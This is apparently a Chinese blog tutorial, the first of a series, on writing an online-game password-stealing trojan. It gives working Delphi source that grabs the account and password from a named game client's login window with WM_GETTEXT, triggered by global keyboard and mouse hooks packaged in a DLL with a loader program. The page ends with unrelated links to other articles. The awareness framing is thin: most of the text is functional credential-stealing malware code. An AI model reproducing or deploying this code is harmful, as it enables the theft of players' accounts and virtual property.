解密网游木马开发全记录

------WM_GETTEXT篇

网络虚拟财产的安全越来越受到广大网民的关注,而黑客经常使用非法手段获取网游账号及密码进行非法盈利。为了揭露网游盗号的基本原理,我将给大家演示黑客是如何通过编程实现密码的截取与发送。也希望广大网民提高安全意识,免受盗号危害。

首先通过分析可知,一个完整的木马产品包括如下几个功能:

  • 1、密码截取

  • 2、密码发送

  • 3、木马生成

针对如上功能我们来逐一揭示如何用编程来实现。我这里就使用Delphi还实现各种功能,使用VC编程原理也一样,大家可以自己实践。

首先是密码的截取,密码截取的方法有很多,常见的比如:

  • 1、发送WM_GETTEXT消息

  • 2、键盘击键记录

  • 3、内存读取

  • 4、封包截获等

有针对性的比如:鼠标点击截图、窗体伪造钓鱼等。

本系列教程主要讲解WM_GETTEXT消息、键盘击键记录、内存读取密码以及封包截获的基本原理及实现。这些方法是比较常见也是危害比较广泛的。分析上述各种方法,WM_GETTEXT消息的方法主要适用于对WINDOWS标准控件的密码截取;键盘击键记录则是针对键盘敲击的记录,适合固定键盘输入的情况;内存读取密码则应用比较广泛,适合大多数密码截取的情况,并且在外挂技术中也经常用到;封包截获则应用不是很广泛主要是因为截获的封包可能是加密过的,需要对加密机制进行解密才能获得密码。


今天为我们以XX电竞平台为例给大家演示发送WM_GETTEXT消息密码截取的全部过程。在以后的章节里将逐一讲解其他密码截取方法和密码发送及木马生成技术。

一、窗口分析

首先分析XX电竞平台的登陆窗体。使用Spy++对窗体进行分析以获得我们所需要的控件信息。

如上图,首先可以得到主窗口类名是:#32770 (对话框),窗口标题是:XX电竞平台。然后再查看账号和密码输入框的信息。

账号输入框的类名是:ComboBox。记录下来这个信息,在截取密码的时候会用到。

密码输入框的类名是:Edit。我们可以看到XX电竞平台登陆窗口的控件均是windows标准控件。因此采用发送WM_GETTEXT消息的方法是最简单的。

将所获得信息总结如下:

主窗口类名:#32770 (对话框)

主窗口标题:XX电竞平台

账号输入框的类名:ComboBox

密码输入框的类名:Edit

二、编程实现

首先实现帐户密码截取功能。为了便于测试,我们将截取的密码打印在屏幕左上角。功能代码如下:


procedure GetPassWord;

var

buffer:array[0..50] of char;

Window,Number,PassWord:Longint;

V:string;

DC:HDC;

begin

V:='';

//当前激活窗体   获得当前窗口句柄

Window:=GetForegroundWindow;

//约束条件  判断主窗口标题是否为“XX电竞平台”

if FindWindow('#32770','XX电竞平台')=0 then exit;

//取号码和密码句柄

Number:=FindWindowEx(Window,0,'ComboBox',nil);

if Number=0 then exit;

PassWord:=FindWindowEx(Window,0,'Edit',nil);

if PassWord=0 then exit;

//取内容

SendMessage(Number, $000D, 50, Integer(@buffer));

V:='number:'+ string(buffer);

SendMessage(PassWord, $000D, 50, Integer(@buffer));

V:=V+'  password:'+ string(buffer);

//写到屏幕上

DC:=GetDC(0);

TextOut(DC,100,100,Pchar(V),Length(V));

ReleaseDC(0,DC);

end;


可以看出截取信息的代码十分简单,其原理就是使用SendMessage函数向子窗口发送WM_GETTEXT消息,$000D就是WM_GETTEXT的消息码。然后将消息返回的信息存放到buffer中,最后将其打印出来。

但是在什么时候进行密码截取呢?如果过早截取则可能用户还没有输入信息或输入的信息不全。如果截取晚了则可能登陆窗口已经不存在了,这都会导致我们无法截获到账号和密码。因此我们使用HOOK技术来实现对鼠标和键盘的监听,也就是说在鼠标点击和键盘敲回车时才进行截取。

首先声明键盘和鼠标钩子:


var

KeyHook,MouseHook:HHook;


然后创建钩子回调函数。实现对监控键盘按回车和鼠标左击事件的监控。如果事件发生则马上进行密码截取。


//键盘钩子回调函数

function HookKey(Code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;

begin   {回车}        {键盘按键按下消息}

if (wParam=13) and(((LParam shr 31)and 1)=0)  then  GetPassWord;

Result:=CallNextHookEx(KeyHook,code,Wparam,lParam);

end;

//鼠标钩子回调函数

function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;

begin {鼠标左键按下消息}

if wparam=$0201 then GetPassWord;

Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);

end;


回调函数写好后,就要些钩子挂起函数和钩子解除函数了,代码如下:


//挂钩

procedure HookOn;

begin

KeyHook:=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);

MouseHook:=SetWindowsHookEx(WH_mouse, @HookMouse, HInstance, 0);

end;

解除钩子函数如下:

//脱钩

procedure HookOff;

begin

UnHookWindowsHookEx(KeyHook);

UnHookWindowsHookEx(MouseHook);

end;


有了上述代码就可以实现账号和密码的完美截取了。将上除代码编译成DLL文件。别忘了导出HookOn、HookOff两个函数以方便后面调用。


//导出函数

exports

HookOn,HookOff;


编译成功后,钩子DLL就制作成功了。下面只要用一个程序来调用钩子DLL就好了。这就简单多了,代码如下:


program  Main;

uses  windows;

var Msg : tMsg;

procedure  HookOn  ; stdcall; external 'hfhook.dll';

procedure  HookOff ; stdcall; external 'hfhook.dll';

//主程序

begin

HookOn;

while GetMessage(Msg, 0, 0, 0) do  ;

HookOff;

end.


上除代码就是调用钩子dll中的两个导出函数,并在循环获取消息。编译好CallHook.exe和hfhook.dll后将两文件放到同一个文件夹下,运行测试一下,检验一下我们的劳动成果。

先运行CallHook.exe,然后运行XX电竞平台客户端进行登陆。在点击登陆或按回车后会在桌面的左上角打印出帐户和密码。演示如下:

代码运行比较成功,本次教程基本已经完成了密码的截取,如有不够完美的地方大家可以自己完善。下次将给大家介绍键盘记录截取密码的原理及实现方法。


更多精彩请关注公众号5ecuruty

解密网游木马开发全记录(一)相关推荐

  1. P2【商业级MMORPG大型网游】Unity全栈开发 笔记

    入门unity开发笔记 已报名,见评论.刚刚开始学习unity3d,今天我将开发我的第一个项目.一是项目的规划. 1. 游戏玩法是一种冒险玩法,类似于<马里奥>,但它是基于3D视角开发的. ...

  2. 一套跨平台五子棋网游的开发经历

    闲来无事,因自己想要在服务器开发方面进行更深入的学习,积累更丰富的经验.决定写一套网络游戏的c/s. 因为主要目的是服务器的开发,因此游戏我选用规则较为简单.画面特效没有要求的回合制游戏:五子棋.我曾 ...

  3. CefSharp-基于C#的客户端开发框架技术栈开发全记录

    CefSharp简介 源于Google官方 CefSharp用途 CefSharp开发示例 CefSharp应用--弹窗与右键 不弹出子窗体 禁用右键 CefSharp应用--High DPI问题 缩 ...

  4. 面向监狱编程 - 石胖子写网游外挂 (2) 加密和解密

    " 本故事纯属虚构,如有雷同纯属巧合." 0  游戏的加密 对着网游<天x八x>的网络请求数据,研究了一阵子,石胖子,才搞明白.原来游戏的请求数据使用了对称加密的算法. ...

  5. 实战开发:新手小白如何用C++制作经典网游DNF

    十年前,那时候的网吧还不叫网咖,那时候没有王者荣耀也没有英雄联盟,那时候梦幻西游刚推出珍宝阁系统,那时候巫妖王的灵魂还封闭在冰封王座. 寻仙.穿越火线.征途.天龙八部--同时在线人数超百万的游戏纷纷涌 ...

  6. 【UE4】网游开发中的RPC和OnRep(三)

    [UE4]网游开发中的RPC和OnRep(三) 本文转自我的公众号-游戏开发手账 转载请标明出处 最后说说怎么用OnRep完成子弹的同步. OnRep 使用属性同步也能够完成Client和Server ...

  7. 小米潘多拉路由器添加节点_腾讯网游加速器联手小米路由器,共创全场景游戏加速体验!...

    哈喽,大家好呀,我是腾妹~周末快乐撒~ 就在5月15日,腾讯网游加速器联手小米,推出了首款内置腾讯网游加速器的小米路由器--AX1800.据悉,这款路由器由双方合作深度定制,能够支持目前主流的国服游戏 ...

  8. 开发一款手机格斗网游需要注意些什么

    本文转自 http://www.sfw.cn/xinwen/431742.html 先针对问题本身解释一下.目前纯正的格斗手机网游还不存在,我也没做过,更不知道该怎么做.在PC上格斗网游也只有流星蝴蝶 ...

  9. 开发新一代的网游——摘要

    摘要 现在的MMORPG网游,较以前的传奇.奇迹有了很大发展.魔兽世界无论从装备.职业.技能.环境.操作还是任务和故事背景,应该都做到了极致.但是,用别人的一句话就是,它无非还是一个复杂化的传奇. 几 ...

最新文章

  1. 宅在家限制智力输出?这场论文复现赛让思维发光
  2. 红米路由器ac2100怎样设置ipv6_Redmi路由器AC2100开箱:六天线简单直接,功能丰富对玩家友好...
  3. vue 父链和子组件索引_vuejs填坑-父子组件之间的访问
  4. 关于Python ord()和chr()返回ASCII码和Unicode码的看法
  5. systemstate dump 介绍
  6. java ,static
  7. mpythonx下载_【掌控】mpythonX:乐动盒子
  8. 影片相继撤档“520”,在线票务平台等待下一个“黄金档”
  9. monkey命令——压力测试——转载参考09
  10. Windows XP使用技巧大全
  11. 项目实例---随机森林在Kaggle实例:Titanic中的应用(一)
  12. 更新xcode至12.3,编译报错Building for iOS, but the linked and embedded framework ‘xxx.framework’ was buil...
  13. 如何快速构建一套稳定、高效、可靠的网页无插件监控、直播、点播解决方案
  14. 【ArcGIS教程02】HTML弹窗挂接显示调研照片
  15. jquery入门介绍
  16. 电路基本原理和加法器的实现---计算机组成原理学习心得04
  17. 发现了一个类似白加黑的应用
  18. 什么是 NFT 洗盘交易:洗盘交易背后的原理
  19. shmget函数与shmat
  20. 一种客户端即时通信数据的加密和解密方法

热门文章

  1. linux下部署darknet
  2. 轨道交通AFC系统应用的工业以太网交换机
  3. centos7 git永久保存密码
  4. 通信/信号处理推荐书籍与资料
  5. 沭阳的计算机学校好吗,沭阳初中学校排名
  6. python Fake 安装使用
  7. 将12进制时间转为24进制
  8. Maven打包导致Excel资源文件损坏问题
  9. 往事如烟 - 老钟9
  10. Latex 公式换行问题(换行,等号对齐)